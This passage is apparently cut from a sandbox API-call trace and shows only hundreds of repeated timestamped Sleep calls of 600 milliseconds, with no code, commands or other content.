(dwMilliseconds=0x258) [0254.937] Sleep (dwMilliseconds=0x258) [0254.938] Sleep (dwMilliseconds=0x258) [0254.940] Sleep (dwMilliseconds=0x258) [0254.941] Sleep (dwMilliseconds=0x258) [0254.943] Sleep (dwMilliseconds=0x258) [0254.945] Sleep (dwMilliseconds=0x258) [0254.946] Sleep (dwMilliseconds=0x258) [0254.948] Sleep (dwMilliseconds=0x258) [0254.949] Sleep (dwMilliseconds=0x258) [0254.951] Sleep (dwMilliseconds=0x258) [0254.952] Sleep (dwMilliseconds=0x258) [0254.954] Sleep (dwMilliseconds=0x258) [0254.955] Sleep (dwMilliseconds=0x258) [0254.957] Sleep (dwMilliseconds=0x258) [0254.958] Sleep (dwMilliseconds=0x258) [0254.960] Sleep (dwMilliseconds=0x258) [0254.961] Sleep (dwMilliseconds=0x258) [0254.963] Sleep (dwMilliseconds=0x258) [0254.964] Sleep (dwMilliseconds=0x258) [0254.966] Sleep (dwMilliseconds=0x258) [0254.968] Sleep (dwMilliseconds=0x258) [0254.969] Sleep (dwMilliseconds=0x258) [0254.971] Sleep (dwMilliseconds=0x258) [0254.980] Sleep (dwMilliseconds=0x258) [0254.986] Sleep (dwMilliseconds=0x258) [0254.988] Sleep (dwMilliseconds=0x258) [0254.989] Sleep (dwMilliseconds=0x258) [0254.990] Sleep (dwMilliseconds=0x258) [0254.992] Sleep (dwMilliseconds=0x258) [0254.994] Sleep (dwMilliseconds=0x258) [0254.995] Sleep (dwMilliseconds=0x258) [0254.997] Sleep (dwMilliseconds=0x258) [0255.001] Sleep (dwMilliseconds=0x258) [0255.003] Sleep (dwMilliseconds=0x258) [0255.004] Sleep (dwMilliseconds=0x258) [0255.005] Sleep (dwMilliseconds=0x258) [0255.007] Sleep (dwMilliseconds=0x258) [0255.009] Sleep (dwMilliseconds=0x258) [0255.010] Sleep (dwMilliseconds=0x258) [0255.011] Sleep (dwMilliseconds=0x258) [0255.013] Sleep (dwMilliseconds=0x258) [0255.014] Sleep (dwMilliseconds=0x258) [0255.016] Sleep (dwMilliseconds=0x258) [0255.018] Sleep (dwMilliseconds=0x258) [0255.020] Sleep (dwMilliseconds=0x258) [0255.021] Sleep (dwMilliseconds=0x258) [0255.023] Sleep (dwMilliseconds=0x258) [0255.024] Sleep (dwMilliseconds=0x258) [0255.026] Sleep (dwMilliseconds=0x258) [0255.028] Sleep (dwMilliseconds=0x258) [0255.029] Sleep (dwMilliseconds=0x258) [0255.031] Sleep (dwMilliseconds=0x258) [0255.033] Sleep (dwMilliseconds=0x258) [0255.035] Sleep (dwMilliseconds=0x258) [0255.037] Sleep (dwMilliseconds=0x258) [0255.038] Sleep (dwMilliseconds=0x258) [0255.040] Sleep (dwMilliseconds=0x258) [0255.041] Sleep (dwMilliseconds=0x258) [0255.043] Sleep (dwMilliseconds=0x258) [0255.045] Sleep (dwMilliseconds=0x258) [0255.046] Sleep (dwMilliseconds=0x258) [0255.048] Sleep (dwMilliseconds=0x258) [0255.049] Sleep (dwMilliseconds=0x258) [0255.051] Sleep (dwMilliseconds=0x258) [0255.052] Sleep (dwMilliseconds=0x258) [0255.054] Sleep (dwMilliseconds=0x258) [0255.057] Sleep (dwMilliseconds=0x258) [0255.058] Sleep (dwMilliseconds=0x258) [0255.060] Sleep (dwMilliseconds=0x258) [0255.062] Sleep (dwMilliseconds=0x258) [0255.063] Sleep (dwMilliseconds=0x258) [0255.065] Sleep (dwMilliseconds=0x258) [0255.066] Sleep (dwMilliseconds=0x258) [0255.068] Sleep (dwMilliseconds=0x258) [0255.069] Sleep (dwMilliseconds=0x258) [0255.070] Sleep (dwMilliseconds=0x258) [0255.072] Sleep (dwMilliseconds=0x258) [0255.073] Sleep (dwMilliseconds=0x258) [0255.075] Sleep (dwMilliseconds=0x258) [0255.077] Sleep (dwMilliseconds=0x258) [0255.079] Sleep (dwMilliseconds=0x258) [0255.080] Sleep (dwMilliseconds=0x258) [0255.082] Sleep (dwMilliseconds=0x258) [0255.084] Sleep (dwMilliseconds=0x258) [0255.086] Sleep (dwMilliseconds=0x258) [0255.087] Sleep (dwMilliseconds=0x258) [0255.089] Sleep (dwMilliseconds=0x258) [0255.091] Sleep (dwMilliseconds=0x258) [0255.093] Sleep (dwMilliseconds=0x258) [0255.094] Sleep (dwMilliseconds=0x258) [0255.096] Sleep (dwMilliseconds=0x258) [0255.097] Sleep (dwMilliseconds=0x258) [0255.099] Sleep (dwMilliseconds=0x258) [0255.101] Sleep (dwMilliseconds=0x258) [0255.102] Sleep (dwMilliseconds=0x258) [0255.105] Sleep (dwMilliseconds=0x258) [0255.107] Sleep (dwMilliseconds=0x258) [0255.109] Sleep (dwMilliseconds=0x258) [0255.111] Sleep (dwMilliseconds=0x258) [0255.112] Sleep (dwMilliseconds=0x258) [0255.114] Sleep (dwMilliseconds=0x258) [0255.115] Sleep (dwMilliseconds=0x258) [0255.118] Sleep (dwMilliseconds=0x258) [0255.120] Sleep (dwMilliseconds=0x258) [0255.121] Sleep (dwMilliseconds=0x258) [0255.123] Sleep (dwMilliseconds=0x258) [0255.125] Sleep (dwMilliseconds=0x258) [0255.127] Sleep (dwMilliseconds=0x258) [0255.129] Sleep (dwMilliseconds=0x258) [0255.131] Sleep (dwMilliseconds=0x258) [0255.132] Sleep (dwMilliseconds=0x258) [0255.136] Sleep (dwMilliseconds=0x258) [0255.137] Sleep (dwMilliseconds=0x258) [0255.139] Sleep (dwMilliseconds=0x258) [0255.140] Sleep (dwMilliseconds=0x258) [0255.142] Sleep (dwMilliseconds=0x258) [0255.143] Sleep (dwMilliseconds=0x258) [0255.145] Sleep (dwMilliseconds=0x258) [0255.147] Sleep (dwMilliseconds=0x258) [0255.149] Sleep (dwMilliseconds=0x258) [0255.150] Sleep (dwMilliseconds=0x258) [0255.152] Sleep (dwMilliseconds=0x258) [0255.153] Sleep (dwMilliseconds=0x258) [0255.155] Sleep (dwMilliseconds=0x258) [0255.169] Sleep (dwMilliseconds=0x258) [0255.171] Sleep (dwMilliseconds=0x258) [0255.172] Sleep (dwMilliseconds=0x258) [0255.174] Sleep (dwMilliseconds=0x258) [0255.175] Sleep (dwMilliseconds=0x258) [0255.177] Sleep (dwMilliseconds=0x258) [0255.178] Sleep (dwMilliseconds=0x258) [0255.180] Sleep (dwMilliseconds=0x258) [0255.182] Sleep (dwMilliseconds=0x258) [0255.184] Sleep (dwMilliseconds=0x258) [0255.186] Sleep (dwMilliseconds=0x258) [0255.187] Sleep (dwMilliseconds=0x258) [0255.189] Sleep (dwMilliseconds=0x258) [0255.191] Sleep (dwMilliseconds=0x258) [0255.193] Sleep (dwMilliseconds=0x258) [0255.195] Sleep (dwMilliseconds=0x258) [0255.196] Sleep (dwMilliseconds=0x258) [0255.197] Sleep (dwMilliseconds=0x258) [0255.199] Sleep (dwMilliseconds=0x258) [0255.200] Sleep (dwMilliseconds=0x258) [0255.201] Sleep (dwMilliseconds=0x258) [0255.203] Sleep (dwMilliseconds=0x258) [0255.205] Sleep (dwMilliseconds=0x258) [0255.206] Sleep (dwMilliseconds=0x258) [0255.208] Sleep (dwMilliseconds=0x258) [0255.209] Sleep (dwMilliseconds=0x258) [0255.210] Sleep (dwMilliseconds=0x258) [0255.212] Sleep (dwMilliseconds=0x258) [0255.213] Sleep (dwMilliseconds=0x258) [0255.215] Sleep (dwMilliseconds=0x258) [0255.218] Sleep (dwMilliseconds=0x258) [0255.220] Sleep (dwMilliseconds=0x258) [0255.221] Sleep (dwMilliseconds=0x258) [0255.222] Sleep (dwMilliseconds=0x258) [0255.223] Sleep (dwMilliseconds=0x258) [0255.225] Sleep (dwMilliseconds=0x258) [0255.226] Sleep (dwMilliseconds=0x258) [0255.228] Sleep (dwMilliseconds=0x258) [0255.229] Sleep (dwMilliseconds=0x258) [0255.231] Sleep (dwMilliseconds=0x258) [0255.232] Sleep (dwMilliseconds=0x258) [0255.234] Sleep (dwMilliseconds=0x258) [0255.235] Sleep (dwMilliseconds=0x258) [0255.238] Sleep (dwMilliseconds=0x258) [0255.240] Sleep (dwMilliseconds=0x258) [0255.242] Sleep (dwMilliseconds=0x258) [0255.243] Sleep (dwMilliseconds=0x258) [0255.245] Sleep (dwMilliseconds=0x258) [0255.246] Sleep (dwMilliseconds=0x258) [0255.248] Sleep (dwMilliseconds=0x258) [0255.249] Sleep (dwMilliseconds=0x258) [0255.286] Sleep (dwMilliseconds=0x258) [0255.287] Sleep (dwMilliseconds=0x258) [0255.289] Sleep (dwMilliseconds=0x258) [0255.291] Sleep (dwMilliseconds=0x258) [0255.294] Sleep (dwMilliseconds=0x258) [0255.296] Sleep (dwMilliseconds=0x258) [0255.297] Sleep (dwMilliseconds=0x258) [0255.299] Sleep (dwMilliseconds=0x258) [0255.300] Sleep (dwMilliseconds=0x258) [0255.301] Sleep (dwMilliseconds=0x258) [0255.303] Sleep (dwMilliseconds=0x258) [0255.304] Sleep (dwMilliseconds=0x258) [0255.306] Sleep (dwMilliseconds=0x258) [0255.308] Sleep (dwMilliseconds=0x258) [0255.310] Sleep (dwMilliseconds=0x258) [0255.311] Sleep (dwMilliseconds=0x258) [0255.314] Sleep (dwMilliseconds=0x258) [0255.316] Sleep (dwMilliseconds=0x258) [0255.319] Sleep (dwMilliseconds=0x258) [0255.322] Sleep (dwMilliseconds=0x258) [0255.323] Sleep (dwMilliseconds=0x258) [0255.325] Sleep (dwMilliseconds=0x258) [0255.358] Sleep (dwMilliseconds=0x258) [0255.359] Sleep (dwMilliseconds=0x258) [0255.361] Sleep (dwMilliseconds=0x258) [0255.362] Sleep (dwMilliseconds=0x258) [0255.364] Sleep (dwMilliseconds=0x258) [0255.365] Sleep (dwMilliseconds=0x258) [0255.367] Sleep (dwMilliseconds=0x258) [0255.369] Sleep (dwMilliseconds=0x258) [0255.370] Sleep (dwMilliseconds=0x258) [0255.372] Sleep (dwMilliseconds=0x258) [0255.437] Sleep (dwMilliseconds=0x258) [0255.447] Sleep (dwMilliseconds=0x258) [0255.514] Sleep (dwMilliseconds=0x258) [0255.526] Sleep (dwMilliseconds=0x258) [0255.535] Sleep (dwMilliseconds=0x258) [0255.537] Sleep (dwMilliseconds=0x258) [0255.551] Sleep (dwMilliseconds=0x258) [0255.664] Sleep (dwMilliseconds=0x258) [0255.665] Sleep (dwMilliseconds=0x258) [0255.667] Sleep (dwMilliseconds=0x258) [0255.669] Sleep (dwMilliseconds=0x258) [0255.671] Sleep (dwMilliseconds=0x258) [0255.698] Sleep (dwMilliseconds=0x258) [0255.809] Sleep (dwMilliseconds=0x258) [0255.810] Sleep (dwMilliseconds=0x258) [0255.812] Sleep (dwMilliseconds=0x258) [0255.813] Sleep (dwMilliseconds=0x258) [0255.815] Sleep (dwMilliseconds=0x258) [0255.816] Sleep (dwMilliseconds=0x258) [0255.838] Sleep (dwMilliseconds=0x258) [0255.857] Sleep (dwMilliseconds=0x258) [0255.904] Sleep (dwMilliseconds=0x258) [0256.026] Sleep (dwMilliseconds=0x258) [0256.028] Sleep (dwMilliseconds=0x258) [0256.029] Sleep (dwMilliseconds=0x258) [0256.031] Sleep (dwMilliseconds=0x258) [0256.032] Sleep (dwMilliseconds=0x258) [0256.034] Sleep (dwMilliseconds=0x258) [0256.036] Sleep (dwMilliseconds=0x258) [0256.038] Sleep (dwMilliseconds=0x258) [0256.039] Sleep (dwMilliseconds=0x258) [0256.041] Sleep (dwMilliseconds=0x258) [0256.042] Sleep (dwMilliseconds=0x258) [0256.045] Sleep (dwMilliseconds=0x258) [0256.047] Sleep (dwMilliseconds=0x258) [0256.059] Sleep (dwMilliseconds=0x258) [0256.170] Sleep (dwMilliseconds=0x258) [0256.180] Sleep (dwMilliseconds=0x258) [0256.192] Sleep (dwMilliseconds=0x258) [0256.194] Sleep (dwMilliseconds=0x258) [0256.195] Sleep (dwMilliseconds=0x258) [0256.202] Sleep (dwMilliseconds=0x258) [0256.246] Sleep (dwMilliseconds=0x258) [0256.311] Sleep (dwMilliseconds=0x258) [0256.313] Sleep (dwMilliseconds=0x258) [0256.314] Sleep (dwMilliseconds=0x258) [0256.316] Sleep (dwMilliseconds=0x258) [0256.317] Sleep (dwMilliseconds=0x258) [0256.319] Sleep (dwMilliseconds=0x258) [0256.320] Sleep (dwMilliseconds=0x258) [0256.322] Sleep (dwMilliseconds=0x258) [0256.323] Sleep (dwMilliseconds=0x258) [0256.325] Sleep (dwMilliseconds=0x258) [0256.326] Sleep (dwMilliseconds=0x258) [0256.328] Sleep (dwMilliseconds=0x258) [0256.329] Sleep (dwMilliseconds=0x258) [0256.331] Sleep (dwMilliseconds=0x258) [0256.332] Sleep (dwMilliseconds=0x258) [0256.334] Sleep (dwMilliseconds=0x258) [0256.335] Sleep (dwMilliseconds=0x258) [0256.337] Sleep (dwMilliseconds=0x258) [0256.339] Sleep (dwMilliseconds=0x258) [0256.342] Sleep (dwMilliseconds=0x258) [0256.582] Sleep (dwMilliseconds=0x258) [0256.583] Sleep (dwMilliseconds=0x258) [0256.585] Sleep (dwMilliseconds=0x258) [0256.586] Sleep (dwMilliseconds=0x258) [0256.588] Sleep (dwMilliseconds=0x258) [0256.589] Sleep (dwMilliseconds=0x258) [0256.591] Sleep (dwMilliseconds=0x258) [0256.592] Sleep (dwMilliseconds=0x258) [0256.594] Sleep (dwMilliseconds=0x258) [0256.595] Sleep (dwMilliseconds=0x258) [0256.598] Sleep (dwMilliseconds=0x258) [0256.600] Sleep (dwMilliseconds=0x258) [0256.601] Sleep (dwMilliseconds=0x258) [0256.603] Sleep (dwMilliseconds=0x258) [0256.604] Sleep (dwMilliseconds=0x258) [0256.606] Sleep (dwMilliseconds=0x258) [0256.607] Sleep (dwMilliseconds=0x258) [0256.609] Sleep (dwMilliseconds=0x258) [0256.610] Sleep (dwMilliseconds=0x258) [0256.612] Sleep (dwMilliseconds=0x258) [0256.697] Sleep (dwMilliseconds=0x258) [0256.724] Sleep (dwMilliseconds=0x258) [0256.726] Sleep (dwMilliseconds=0x258) [0256.727] Sleep (dwMilliseconds=0x258) [0256.729] Sleep (dwMilliseconds=0x258) [0256.738] Sleep (dwMilliseconds=0x258) [0256.740] Sleep (dwMilliseconds=0x258) [0256.742] Sleep (dwMilliseconds=0x258) [0256.743] Sleep (dwMilliseconds=0x258) [0256.745] Sleep (dwMilliseconds=0x258) [0256.746] Sleep (dwMilliseconds=0x258) [0256.748] Sleep (dwMilliseconds=0x258) [0256.750] Sleep (dwMilliseconds=0x258) [0256.751] Sleep (dwMilliseconds=0x258) [0256.753] Sleep (dwMilliseconds=0x258) [0256.754] Sleep (dwMilliseconds=0x258) [0256.930] Sleep (dwMilliseconds=0x258) [0256.931] Sleep (dwMilliseconds=0x258) [0256.934] Sleep (dwMilliseconds=0x258) [0256.935] Sleep (dwMilliseconds=0x258) [0256.937] Sleep (dwMilliseconds=0x258) [0256.939] Sleep (dwMilliseconds=0x258) [0256.944] Sleep (dwMilliseconds=0x258) [0256.945] Sleep (dwMilliseconds=0x258) [0256.947] Sleep (dwMilliseconds=0x258) [0256.951] Sleep (dwMilliseconds=0x258) [0256.952] Sleep (dwMilliseconds=0x258) [0256.954] Sleep (dwMilliseconds=0x258) [0256.955] Sleep (dwMilliseconds=0x258) [0256.957] Sleep (dwMilliseconds=0x258) [0256.959] Sleep (dwMilliseconds=0x258) [0256.960] Sleep (dwMilliseconds=0x258) [0257.127] Sleep (dwMilliseconds=0x258) [0257.129] Sleep (dwMilliseconds=0x258) [0257.131] Sleep (dwMilliseconds=0x258) [0257.132] Sleep (dwMilliseconds=0x258) [0257.134] Sleep (dwMilliseconds=0x258) [0257.135] Sleep (dwMilliseconds=0x258) [0257.137] Sleep (dwMilliseconds=0x258) [0257.138] Sleep (dwMilliseconds=0x258) [0257.140] Sleep (dwMilliseconds=0x258) [0257.141] Sleep (dwMilliseconds=0x258) [0257.143] Sleep (dwMilliseconds=0x258) [0257.145] Sleep (dwMilliseconds=0x258) [0257.147] Sleep (dwMilliseconds=0x258) [0257.150] Sleep (dwMilliseconds=0x258) [0257.151] Sleep (dwMilliseconds=0x258) [0257.153] Sleep (dwMilliseconds=0x258) [0257.154] Sleep (dwMilliseconds=0x258) [0257.253] Sleep (dwMilliseconds=0x258) [0257.255] Sleep (dwMilliseconds=0x258) [0257.298] Sleep (dwMilliseconds=0x258) [0257.303] Sleep (dwMilliseconds=0x258) [0257.304] Sleep (dwMilliseconds=0x258) [0257.306] Sleep (dwMilliseconds=0x258) [0257.311] Sleep (dwMilliseconds=0x258) [0257.312] Sleep (dwMilliseconds=0x258) [0257.314] Sleep (dwMilliseconds=0x258) [0257.316] Sleep (dwMilliseconds=0x258) [0257.317] Sleep (dwMilliseconds=0x258) [0257.319] Sleep (dwMilliseconds=0x258) [0257.320] Sleep (dwMilliseconds=0x258) [0258.911] Sleep (dwMilliseconds=0x258) [0259.088] Sleep (dwMilliseconds=0x258) [0259.089] Sleep (dwMilliseconds=0x258) [0259.091] Sleep (dwMilliseconds=0x258) [0259.124] Sleep (dwMilliseconds=0x258) [0259.236] Sleep (dwMilliseconds=0x258) [0259.238] Sleep (dwMilliseconds=0x258) [0259.240] Sleep (dwMilliseconds=0x258) [0259.254] Sleep (dwMilliseconds=0x258) [0259.269] Sleep (dwMilliseconds=0x258) [0259.338] Sleep (dwMilliseconds=0x258) [0259.355] Sleep (dwMilliseconds=0x258) [0259.460] Sleep (dwMilliseconds=0x258) [0259.649] Sleep (dwMilliseconds=0x258) [0259.664] Sleep (dwMilliseconds=0x258) [0259.680] Sleep (dwMilliseconds=0x258) [0259.790] Sleep (dwMilliseconds=0x258) [0259.792] Sleep (dwMilliseconds=0x258) [0259.793] Sleep (dwMilliseconds=0x258) [0259.795] Sleep (dwMilliseconds=0x258) [0259.796] Sleep (dwMilliseconds=0x258) [0259.798] Sleep (dwMilliseconds=0x258) [0259.799] Sleep (dwMilliseconds=0x258) [0259.801] Sleep (dwMilliseconds=0x258) [0259.802] Sleep (dwMilliseconds=0x258) [0259.804] Sleep (dwMilliseconds=0x258) [0259.805] Sleep (dwMilliseconds=0x258) [0259.807] Sleep (dwMilliseconds=0x258) [0259.808] Sleep (dwMilliseconds=0x258) [0259.820] Sleep (dwMilliseconds=0x258) [0259.872] Sleep (dwMilliseconds=0x258) [0259.873] Sleep (dwMilliseconds=0x258) [0259.932] Sleep (dwMilliseconds=0x258) [0259.933] Sleep (dwMilliseconds=0x258) [0259.934] Sleep (dwMilliseconds=0x258) [0259.936] Sleep (dwMilliseconds=0x258) [0259.964] Sleep (dwMilliseconds=0x258) [0260.251] Sleep (dwMilliseconds=0x258) [0260.283] Sleep (dwMilliseconds=0x258) [0260.414] Sleep (dwMilliseconds=0x258) [0260.416] Sleep (dwMilliseconds=0x258) [0260.421] Sleep (dwMilliseconds=0x258) [0260.422] Sleep (dwMilliseconds=0x258) [0260.424] Sleep (dwMilliseconds=0x258) [0260.425] Sleep (dwMilliseconds=0x258) [0260.427] Sleep (dwMilliseconds=0x258) [0260.428] Sleep (dwMilliseconds=0x258) [0260.430] Sleep (dwMilliseconds=0x258) [0260.432] Sleep (dwMilliseconds=0x258) [0260.433] Sleep (dwMilliseconds=0x258) [0260.435] Sleep (dwMilliseconds=0x258) [0260.436] Sleep (dwMilliseconds=0x258) [0260.438] Sleep (dwMilliseconds=0x258) [0260.439] Sleep (dwMilliseconds=0x258) [0260.441] Sleep (dwMilliseconds=0x258) [0260.442] Sleep (dwMilliseconds=0x258) [0260.444] Sleep (dwMilliseconds=0x258) [0260.471] Sleep (dwMilliseconds=0x258) [0260.556] Sleep (dwMilliseconds=0x258) [0260.569] Sleep (dwMilliseconds=0x258) [0260.570] Sleep (dwMilliseconds=0x258) [0260.572] Sleep (dwMilliseconds=0x258) [0260.573] Sleep (dwMilliseconds=0x258) [0260.585] Sleep (dwMilliseconds=0x258) [0260.594] Sleep (dwMilliseconds=0x258) [0260.703] Sleep (dwMilliseconds=0x258) [0260.705] Sleep (dwMilliseconds=0x258) [0260.706] Sleep (dwMilliseconds=0x258) [0260.708] Sleep (dwMilliseconds=0x258) [0260.709] Sleep (dwMilliseconds=0x258) [0260.710] Sleep (dwMilliseconds=0x258) [0260.712] Sleep (dwMilliseconds=0x258) [0260.713] Sleep (dwMilliseconds=0x258) [0260.715] Sleep (dwMilliseconds=0x258) [0260.726] Sleep (dwMilliseconds=0x258) [0260.727] Sleep (dwMilliseconds=0x258) [0260.729] Sleep (dwMilliseconds=0x258) [0260.730] Sleep (dwMilliseconds=0x258) [0260.732] Sleep (dwMilliseconds=0x258) [0260.735] Sleep (dwMilliseconds=0x258) [0260.772] Sleep (dwMilliseconds=0x258) [0260.774] Sleep (dwMilliseconds=0x258) [0260.861] Sleep (dwMilliseconds=0x258) [0260.863] Sleep (dwMilliseconds=0x258) [0260.864] Sleep (dwMilliseconds=0x258) [0260.866] Sleep (dwMilliseconds=0x258) [0260.867] Sleep (dwMilliseconds=0x258) [0260.869] Sleep (dwMilliseconds=0x258) [0260.870] Sleep (dwMilliseconds=0x258) [0260.872] Sleep (dwMilliseconds=0x258) [0260.887] Sleep (dwMilliseconds=0x258) [0260.890] Sleep (dwMilliseconds=0x258) [0261.003] Sleep (dwMilliseconds=0x258) [0261.004] Sleep (dwMilliseconds=0x258) [0261.005] Sleep (dwMilliseconds=0x258) [0261.085] Sleep (dwMilliseconds=0x258) [0261.180] Sleep (dwMilliseconds=0x258) [0261.215] Sleep (dwMilliseconds=0x258) [0261.217] Sleep (dwMilliseconds=0x258) [0261.218] Sleep (dwMilliseconds=0x258) [0261.227] Sleep (dwMilliseconds=0x258) [0261.241] Sleep (dwMilliseconds=0x258) [0261.244] Sleep (dwMilliseconds=0x258) [0261.248] Sleep (dwMilliseconds=0x258) [0261.360] Sleep (dwMilliseconds=0x258) [0261.361] Sleep (dwMilliseconds=0x258) [0261.363] Sleep (dwMilliseconds=0x258) [0261.364] Sleep (dwMilliseconds=0x258) [0261.366] Sleep (dwMilliseconds=0x258) [0261.367] Sleep (dwMilliseconds=0x258) [0261.369] Sleep (dwMilliseconds=0x258) [0261.370] Sleep (dwMilliseconds=0x258) [0261.372] Sleep (dwMilliseconds=0x258) [0261.374] Sleep (dwMilliseconds=0x258) [0261.376] Sleep (dwMilliseconds=0x258) [0261.698] Sleep (dwMilliseconds=0x258) [0261.821] Sleep (dwMilliseconds=0x258) [0261.830] Sleep (dwMilliseconds=0x258) [0261.831] Sleep (dwMilliseconds=0x258) [0261.833] Sleep (dwMilliseconds=0x258) [0261.836] Sleep (dwMilliseconds=0x258) [0261.843] Sleep (dwMilliseconds=0x258) [0261.844] Sleep (dwMilliseconds=0x258) [0261.853] Sleep (dwMilliseconds=0x258) [0261.889] Sleep (dwMilliseconds=0x258) [0261.964] Sleep (dwMilliseconds=0x258) [0261.966] Sleep (dwMilliseconds=0x258) [0261.967] Sleep (dwMilliseconds=0x258) [0261.969] Sleep (dwMilliseconds=0x258) [0261.970] Sleep (dwMilliseconds=0x258) [0261.972] Sleep (dwMilliseconds=0x258) [0261.973] Sleep (dwMilliseconds=0x258) [0261.975] Sleep (dwMilliseconds=0x258) [0261.976] Sleep (dwMilliseconds=0x258) [0261.978] Sleep (dwMilliseconds=0x258) [0261.979] Sleep (dwMilliseconds=0x258) [0261.981] Sleep (dwMilliseconds=0x258) [0261.982] Sleep (dwMilliseconds=0x258) [0261.984] Sleep (dwMilliseconds=0x258) [0261.985] Sleep (dwMilliseconds=0x258) [0261.987] Sleep (dwMilliseconds=0x258) [0261.988] Sleep (dwMilliseconds=0x258) [0262.014] Sleep (dwMilliseconds=0x258) [0262.191] Sleep (dwMilliseconds=0x258) [0262.193] Sleep (dwMilliseconds=0x258) [0262.195] Sleep (dwMilliseconds=0x258) [0262.196] Sleep (dwMilliseconds=0x258) [0262.198] Sleep (dwMilliseconds=0x258) [0262.200] Sleep (dwMilliseconds=0x258) [0262.201] Sleep (dwMilliseconds=0x258) [0262.202] Sleep (dwMilliseconds=0x258) [0262.217] Sleep (dwMilliseconds=0x258) [0262.220] Sleep (dwMilliseconds=0x258) [0262.408] Sleep (dwMilliseconds=0x258) [0262.409] Sleep (dwMilliseconds=0x258) [0262.410] Sleep (dwMilliseconds=0x258) [0262.412] Sleep (dwMilliseconds=0x258) [0262.415] Sleep (dwMilliseconds=0x258) [0262.417] Sleep (dwMilliseconds=0x258) [0262.428] Sleep (dwMilliseconds=0x258) [0262.430] Sleep (dwMilliseconds=0x258) [0262.431] Sleep (dwMilliseconds=0x258) [0262.443] Sleep (dwMilliseconds=0x258) [0262.460] Sleep (dwMilliseconds=0x258) [0262.461] Sleep (dwMilliseconds=0x258) [0262.551] Sleep (dwMilliseconds=0x258) [0262.560] Sleep (dwMilliseconds=0x258) [0262.562] Sleep (dwMilliseconds=0x258) [0262.563] Sleep (dwMilliseconds=0x258) [0262.565] Sleep (dwMilliseconds=0x258) [0262.566] Sleep (dwMilliseconds=0x258) [0262.568] Sleep (dwMilliseconds=0x258) [0262.569] Sleep (dwMilliseconds=0x258) [0262.571] Sleep (dwMilliseconds=0x258) [0262.572] Sleep (dwMilliseconds=0x258) [0262.574] Sleep (dwMilliseconds=0x258) [0262.579] Sleep (dwMilliseconds=0x258) [0262.580] Sleep (dwMilliseconds=0x258) [0262.690] Sleep (dwMilliseconds=0x258) [0262.691] Sleep (dwMilliseconds=0x258) [0262.695] Sleep (dwMilliseconds=0x258) [0262.697] Sleep (dwMilliseconds=0x258) [0262.698] Sleep (dwMilliseconds=0x258) [0262.707] Sleep (dwMilliseconds=0x258) [0262.716] Sleep (dwMilliseconds=0x258) [0262.725] Sleep (dwMilliseconds=0x258) [0262.761] Sleep (dwMilliseconds=0x258) [0262.770] Sleep (dwMilliseconds=0x258) [0262.858] Sleep (dwMilliseconds=0x258) [0262.860] Sleep (dwMilliseconds=0x258) [0262.861] Sleep (dwMilliseconds=0x258) [0262.863] Sleep (dwMilliseconds=0x258) [0262.865] Sleep (dwMilliseconds=0x258) [0262.867] Sleep (dwMilliseconds=0x258) [0262.876] Sleep (dwMilliseconds=0x258) [0262.894] Sleep (dwMilliseconds=0x258) [0263.004] Sleep (dwMilliseconds=0x258) [0263.014] Sleep (dwMilliseconds=0x258) [0263.023] Sleep (dwMilliseconds=0x258) [0263.024] Sleep (dwMilliseconds=0x258) [0263.026] Sleep (dwMilliseconds=0x258) [0263.065] Sleep (dwMilliseconds=0x258) [0263.167] Sleep (dwMilliseconds=0x258) [0263.202] Sleep (dwMilliseconds=0x258) [0263.203] Sleep (dwMilliseconds=0x258) [0263.206] Sleep (dwMilliseconds=0x258) [0263.207] Sleep (dwMilliseconds=0x258) [0263.209] Sleep (dwMilliseconds=0x258) [0263.213] Sleep (dwMilliseconds=0x258) [0263.214] Sleep (dwMilliseconds=0x258) [0263.216] Sleep (dwMilliseconds=0x258) [0263.217] Sleep (dwMilliseconds=0x258) [0263.219] Sleep (dwMilliseconds=0x258) [0263.220] Sleep (dwMilliseconds=0x258) [0263.223] Sleep (dwMilliseconds=0x258) [0263.224] Sleep (dwMilliseconds=0x258) [0263.228] Sleep (dwMilliseconds=0x258) [0263.230] Sleep (dwMilliseconds=0x258) [0263.235] Sleep (dwMilliseconds=0x258) [0263.373] Sleep (dwMilliseconds=0x258) [0263.375] Sleep (dwMilliseconds=0x258) [0263.377] Sleep (dwMilliseconds=0x258) [0263.378] Sleep (dwMilliseconds=0x258) [0263.380] Sleep (dwMilliseconds=0x258) [0263.381] Sleep (dwMilliseconds=0x258) [0263.383] Sleep (dwMilliseconds=0x258) [0263.384] Sleep (dwMilliseconds=0x258) [0263.386] Sleep (dwMilliseconds=0x258) [0263.388] Sleep (dwMilliseconds=0x258) [0263.389] Sleep (dwMilliseconds=0x258) [0263.391] Sleep (dwMilliseconds=0x258) [0263.392] Sleep (dwMilliseconds=0x258) [0263.396] Sleep (dwMilliseconds=0x258) [0263.397] Sleep (dwMilliseconds=0x258) [0263.399] Sleep (dwMilliseconds=0x258) [0263.400] Sleep (dwMilliseconds=0x258) [0263.402] Sleep (dwMilliseconds=0x258) [0263.403] Sleep (dwMilliseconds=0x258) [0263.526] Sleep (dwMilliseconds=0x258) [0263.527] Sleep (dwMilliseconds=0x258) [0263.529] Sleep (dwMilliseconds=0x258) [0263.530] Sleep (dwMilliseconds=0x258) [0263.532] Sleep (dwMilliseconds=0x258) [0263.533] Sleep (dwMilliseconds=0x258) [0263.536] Sleep (dwMilliseconds=0x258) [0263.537] Sleep (dwMilliseconds=0x258) [0263.539] Sleep (dwMilliseconds=0x258) [0263.540] Sleep (dwMilliseconds=0x258) [0263.542] Sleep (dwMilliseconds=0x258) [0263.543] Sleep (dwMilliseconds=0x258) [0263.545] Sleep (dwMilliseconds=0x258) [0263.546] Sleep (dwMilliseconds=0x258) [0263.548] Sleep (dwMilliseconds=0x258) [0263.549] Sleep (dwMilliseconds=0x258) [0263.551] Sleep (dwMilliseconds=0x258) [0263.552] Sleep (dwMilliseconds=0x258) [0263.554] Sleep (dwMilliseconds=0x258) [0263.555] Sleep (dwMilliseconds=0x258) [0263.627] Sleep (dwMilliseconds=0x258) [0263.628] Sleep (dwMilliseconds=0x258) [0263.698] Sleep (dwMilliseconds=0x258) [0263.701] Sleep (dwMilliseconds=0x258) [0263.703] Sleep (dwMilliseconds=0x258) [0263.704] Sleep (dwMilliseconds=0x258) [0263.706] Sleep (dwMilliseconds=0x258) [0263.716] Sleep (dwMilliseconds=0x258) [0263.727] Sleep (dwMilliseconds=0x258) [0263.854] Sleep (dwMilliseconds=0x258) [0263.864] Sleep (dwMilliseconds=0x258) [0263.866] Sleep (dwMilliseconds=0x258) [0263.867] Sleep (dwMilliseconds=0x258) [0263.876] Sleep (dwMilliseconds=0x258) [0263.878] 